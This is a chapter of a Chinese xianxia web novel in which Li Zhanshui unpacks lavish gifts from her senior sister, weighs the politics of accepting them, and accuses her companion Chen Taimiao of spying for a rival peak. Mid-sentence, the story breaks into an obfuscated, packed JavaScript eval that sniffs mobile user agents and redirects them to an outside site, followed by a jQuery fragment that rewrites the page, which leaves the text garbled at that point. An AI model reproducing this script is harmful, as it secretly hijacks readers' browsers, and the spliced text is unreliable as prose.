李湛水端坐在石床上想自己的事,等陈太妙回来。
眼下最要紧是给自己挑一把佩剑,孀娥剑要是没什么事,干脆还给谢观好了。
一来,佩剑还是用着称手最重要。就算孀娥剑是名剑,她着实不喜欢这样冷清的剑,留着无益。
一想到握住那把剑丝丝缕缕的寒意,李湛水就头皮发麻,总不能一直分出心神来对抗这寒意吧。
二来,不想与正一峰结仇。
结仇易,释怨难。
说起来两峰之间的龌龊,她人轻言薄又无武力,本不该掺和。
回想起望舒寒凉的眼神中透露出的摄人冷光,未免后怕,要是正一峰刻意针对她,自己没什么好果子吃。
姒千秋说过为她出头,并非李湛水不信任她,只是再怎么武力超群也不可能面面俱到,无时无刻护着。
况且还有宗门大比的事要头疼。
三来,如此行径不像个正人君子。
李湛水一向自诩侠义,用剑一事确属无奈,从未想过据为己有,即便赠她,人情难还,她也是不收的。
作为一个刚入门的逍遥峰新人,要是不小心和正一峰扯上关系,恐怕会引来许多没必要的麻烦。
不怪她小心谨慎,今天大出风头已经惹出许多麻烦来。要应付好武的师兄师姐,宗门大比的挑战,这些她还没想到法子处理。人贵有自知之明,不知道为什么曼娅师尊招了自己来,逍遥峰都认为她厉害,寄予厚望,给她架在火上烤。
李湛水试着调息了几个周天,收心、养气、放心。这套流程过后,轻盈的天地玄气争先恐后涌进她的体内,缓缓恢复着身体的灵气。
待面色好转了些后,思索着先将姒千秋送来的礼品一一入册,庭院堆积的礼品太多,来往过路也不方便,胡乱看着让人心烦。
便收拾起铺盖,整理起杂乱的洞府来。
全是华美的礼品,李湛水无处下手,随手拆开了个看上去最油光水滑的大整料箱。
箱木精黑,这是沉乌木。
沉乌木色泽如漆水,沉重如铁山,可保持千年不腐。顶上极简的线条饰之,观之暗蕴古肃,不似凡品。
李湛水曾在宗亲女眷家见过乌木镜匣,可那是榫卯组装的边角余料,这箱用整料制成实属罕见。
沉乌木多半是南洋西域来的贡物,私藏已是僭越,拿来制物根本是嚣张到不把朝廷礼制放眼里。
乌木是吸纳山川地气的阴中带贵之木,富贵人家要是得了这样一块料子,恨不得当场拿来做棺材板睡下去,威能可荫蔽子嗣,能解决子孙三代的不成器问题。
姒千秋倒好,料子拿来打箱子,还打了这么大一个,未免太过奢靡,实在是暴殄天物。
要是以后自己死了,这料子拿来做棺材板也不错,李湛水转念噗嗤一笑。
斩赤龙,修大道,自己已不是俗世之人,以后哪里来的子嗣给她荫蔽。要是能羽化成仙,更加不需要棺材板了吧。
若是拿回去给父母使,先不说僭越,活人见棺,三年灾厄。李湛水自己倒是不忌讳,可也没想咒父母。
正想着,迫不及待地打开了箱子,李湛水实在好奇这样名贵的箱子装的东西,什么绝世珍品值得用沉乌木来装。
最上层是个朱红的镶钿漆匣,看上去也十分名贵。重工的宝石复古特别,华美的图案前所未见,一眼便知价值不菲。
她也顾不上欣赏这个镶钿漆匣,急迫上手,托起底部,摸索了一番,扭开了暗扣。
镶钿漆匣打开里面竟然还有一层遮光的暗纹青纱。一层套一层,没完没了,里面不会还有一层吧。
李湛水疑心其他礼品也都是这样的秘藏重宝,那一下午怕是要浪费时间在拆这些裹物上了。
青纱质地柔软却很结实,摸起来轻盈丝滑,似乎里面的东西并不重,解起来费了一大番功夫。
李湛水耐着性子细细解开,一篇薄薄的竹简跃然手上。
竹简上有鸟形饰笔、龙凤纹样,上面的字一个都不认识,李湛水只觉得神秘古奥,仿佛通天通神,直觉是古物。
她心下骇然,听闻上古时期鸟虫书就是这样的字画,如果她没有猜错,联系姒千秋说的话,这本古籍应该是夏后氏的上古秘典,传说中的《连山易》。
原来姒千秋说的是这个上古功法全本。这是何等厚礼,李湛水又不是姒千秋的家臣,受此大礼,寻常人不得肝脑涂地。
这是明目张胆赤裸裸地拉拢她,学此功法无疑打上了夏后氏的标签。
一想到姒千秋以后打架斗殴时自己也要参与,她眉头紧锁,放在了一边。
拆开其他礼也不遑多让,如祭天礼服用的冰蚕神锦,上古时期的赤金古贝诸类。
送来的礼品,李湛水一一拆开过,咋舌于礼品的奢侈,她也算是富贵乡里长大,从未见过这么多昂贵的藏品。
只是全拆开看了,李湛水有点发愁,不是东西不好,是东西太好了。
受此重礼,无疑自己受之有愧,收下这些礼物意味着和大师姐的关系绑定颇深,恐怕将来受制于人。
况且大师姐轻浮好色,要是下次惨遭毒手被她上下其手,吃人手短,本就理亏,断不能收。自从见了这个大师姐,清白、底线都稀里糊涂的丢了一截。
入册后,木箱沉重如铁,她试着运气注灵才移动了几寸。李湛水忽然意识到这些装礼的大箱子,她一个人搬不动。
凡事亲力亲为着实劳累,等庭院里重新开阔,李湛水已经累得气喘吁吁,灵力更是消耗殆尽。
修真之人皆不得带仆从上山,若是杂役弟子年幼,虽允许亲熟之人照看上山,也是少数。唯有好色庸碌之徒,才会放不下舒适。
可总有那些琐事要做,大部分弟子选择雇佣同门干活。
李湛水还不知道山上可以换点灵石请人干活,要是她知道绝不会亲自动手。
一早辛苦走了好几个时辰,跟着斗法争衡,还没得到充足休养,回来还要干苦力活,过得是什么日子。
此刻,哪怕是在家被夫人叨叨也比诓来修真舒服。
陈太妙回来了。
李湛水听见门口动静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525055|203447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,正好放下手中事务起身过去。
陈太妙还是一成不变戴着那顶能遮住她头油的黄帷帽,帷帘掀开露出小脸,清秀面容因为酒气镀上了一抹浓红。
因为在庆功宴喝得醉醺醺的,陈太妙整个人的精神不太分明,见东西都整理好了,瞪大眼睛,还以为是自己愣神走错了洞府。
“咦?”
陈太妙正准备退出去重新确认,李湛水出言喊住她,“陈太妙,你要去哪?”
陈太妙这才如梦初醒,脚步虚浮,穿过庭院走入洞府里,将手中精致的食盒放在了石桌上。
“湛水小师姐,晚饭来了,喏。”
李湛水干了一下午活,确实有些饿了,内门弟子皆辟谷了,除了食修处尚有炊烟,内门没有可供弟子饮食的地方。
食修的菜品一向昂贵,用料不乏天灵地宝,食用后有加固本源,调理气血之效。正因如此,一般弟子消耗不起食修,也难得去饮食,仅极少有口欲或寻求突破的会去尝尝。
昨日,陈太妙是带她在外门解决了饮食。今日,庆功宴陈太妙没忘记李湛水寸米未进,心里惦记着,打包了宴席上的新鲜菜品回来,给李湛水解决晚餐。
李湛水看着那精致的饭盒,也没伸手去开,反而一言不发坐在石桌旁,乌黑的眸子落在陈太妙身上。
陈太妙还没站稳,酡红的脸喷洒出不重的酒气,语气半是埋怨半是恭维,“小师姐你这么厉害不早说!月华灵力的事全峰上下都传遍了,杨淀师兄说贤者居位,自愿退位,恭喜小师姐是逍遥峰二把手了。”
见李湛水不语,陈太妙仿佛想起来了什么,往怀里掏东西,“小师姐怎么没去庆功宴。不过不打紧,我给小师姐带了绿蚁酒呢,就着酒菜,你我二人共饮好好庆祝一番,以后全凭小师姐倚仗了。”
“我不喝酒。”
“小师姐,不要学正一峰那群人拒人千里之外的风格了。活泼些,面瘫这种风格不适合你。还是白天打懵了,不对啊,不可能这么久还没清醒过来。”陈太妙酒醒了几分,偏着脑袋和她说话。
“我没有。”
“好吧,小师姐,要是下次你还有克敌制胜的法子,一定要提前告诉我,这次你实在是太不厚道了。”陈太妙语气中带着一丝指责,仿佛李湛水做了对不起她的事。
李湛水抬眼望她,“怎么了?”
“没怎么,就是赌输了。”
“你没有压逍遥峰赢吗?”
陈太妙哭丧着脸,眼神躲闪,拉长了语调,“不是我不相信你们,而是逍遥峰实力实在有限,讲义气总不能和钱过不去吧。我仔细评估后押的,压根不知道小师姐你这么强,早知如此我怎么可能压正一峰。都怪小师姐不厚道,瞒我瞒得好苦啊。”
“所以你就把情报卖给了正一峰?”
陈太妙脸色一白。
落到李湛水的眸子里,她心里最后一丝侥幸也散了。
李湛水神色晦暗不定,猛地站起身来,将那枚传影石掷在石桌上。
“陈太妙,你是那个细作,我说的没错吧?”